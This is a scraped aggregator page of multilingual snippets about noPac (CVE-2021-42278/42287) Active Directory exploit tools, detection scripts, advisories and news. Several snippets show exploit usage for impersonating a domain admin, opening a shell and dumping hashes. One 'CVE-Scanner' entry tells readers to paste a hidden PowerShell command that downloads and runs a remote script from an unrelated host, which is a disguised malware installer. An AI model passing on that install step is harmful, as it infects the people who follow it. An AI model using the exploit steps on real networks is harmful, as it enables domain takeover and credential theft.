sam-the-admin

CVE-2021-42278 および CVE-2021-42287 を悪用し、標準ドメインユーザーから DA になりすます 既知の問題 Kali 以外では動作しません。後日更新します : 関連情報 CVE-2021-42287/CVE-2021-42278 武器化 sAMAccountName スプーフィング...

noPac

概要 CVE-2021-42278 と CVE-2021-42287 を悪用して、標準ドメインユーザーから DA を偽装します 元は sam-the-admin から変更されました。 使用方法 root@kitploit: SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. options: -h, --help show this help message and exi...

noPac

noPac CVE-2021-42287/CVE-2021-42278 扫描与利用工具。又一个低成本的域用户提权为域管理员漏洞利用。 如果域控制器存在漏洞，它将返回一个没有 PAC 的 TGT，请留意小尺寸票据。 缓解措施 请为您的域控制器打补丁！ 鸣谢 感谢 Charlie Clark 提供的 Rubeus 分支以及 Kevin Robertson 提供的 SharpMad。...

CVE-Scanner

CVE-Scanner 🔍 CVE-Scannerは、CVE-2021-42287、CVE-2021-42278、およびその他のセキュリティ問題に関連する脆弱性をスキャンし、悪用するために設計されたツールです。このプロジェクトは、セキュリティ専門家や研究者に、システムのリスクを特定し軽減するための簡単な方法を提供することを目的としています。 目次 機能 インストール 使い方 対応CVE コントリビューション ライセンス 連絡先 機能 CVEスキャン ：アプリケーションの脆弱性を迅速に特定します。 悪用ツール ：特定のCVEに対するエクスプロイトを実行し、システムの防御力をテストします。...

noPac-detection

关于 CVE-2021-42278和CVE-2021-42287的检测脚本 使用 root@kitploit: The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h, --help show this help message and exit...

noPac

关于 NoPac 漏洞利用工具，利用一些旧漏洞 CVE-2021-42278 和 CVE-2021-42287，以标准用户身份模拟域管理员。 不再有烦人的依赖，只有一个单一二进制文件，天哪我太爱 Go 了，Python 永远做不到。 -shell 标志只是启动 impacket-smbexec。你也可以直接使用被模拟账户的 ccache 文件。 做这个主要是为了测试 Impacket 的新 Go 实现（gopacket），说实话它挺酷的，这也是向永远不用碰 Python 迈出的一步，这总是好的。 另外没有清理功能，我可能以后会添加，说不准。 用法 root@kitploit: Usage...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/その他 スキャナー & エクスプロイター。 インストール 1. WIN + R キーを押します 2. 以下のコードをコピーして貼り付け、Enterキーを押します root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC を再起動します 使い方 1. CMD を開きます 2. fexke...

noPac

noPac CVE-2021-42278 および CVE-2021-42287 の悪用 元のプロジェクトnoPacの実装には問題がある可能性があり、ローカルでうまく動作しなかったため、sam-the-adminプロジェクトを参考にして修正しました。 使い方 root@kitploit: pip3 install -r requirements.txt GetShell python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell DumpHash python3 exp.py...

CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub

The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...

SUSE CVE-2021-42287

unknown...

noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. optional arguments: -h, --help show thi...

Microsoft Windows Active Directory Privilege Escalation Multiple Vulnerabilities (CVE-2021-42278; CVE-2021-42287)

Multiple Privilege Escalation vulnerabilities exists in Microsoft Windows Active Directory. Successful exploitation of this vulnerability could allow a remote attacker to easily elevate their privilege to that of a domain admin once he compromise a regular user in the domain...

Two Active Directory Bugs Lead to Easy Windows Domain Takeover

A proof-of-concept tool has been published that leverages two Windows Active Directory bugs fixed last month that, when chained, can allow easy Windows domain takeover. In a Monday alert, Microsoft urged organizations to immediately patch the pair of bugs, tracked as CVE-2021-42287 and...

CVE-2021-42287

creationtimestamp| type| source ---|---|--- 2021-12-11 19:44:35+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/952 2021-12-11 20:46:13+00:00| published-proof-of-concept| https://t.me/BlueRedTeam/1328 2021-12-12 14:54:29+00:00| published-proof-of-concept| https://t.me/m1swarr1or/29...

Exploit for CVE-2021-42278

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...

Exploit for CVE-2021-42278

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...

CVE-2021-42287

Active Directory Domain Services Elevation of Privilege Vulnerability...

CVE-2021-42287 Active Directory Domain Services Elevation of Privilege Vulnerability

...

CVE-2021-42287

CVE-2021-42287 is an Active Directory Domain Services privilege-escalation vulnerability. Connected documents corroborate it as part of a vulnerability family targeting domain controllers (CVE-2021-42278/42287) and describe exploitation via impersonation from a standard domain user to a DA, inclu...

CVE-2021-42287 Active Directory Domain Services Elevation of Privilege Vulnerability

...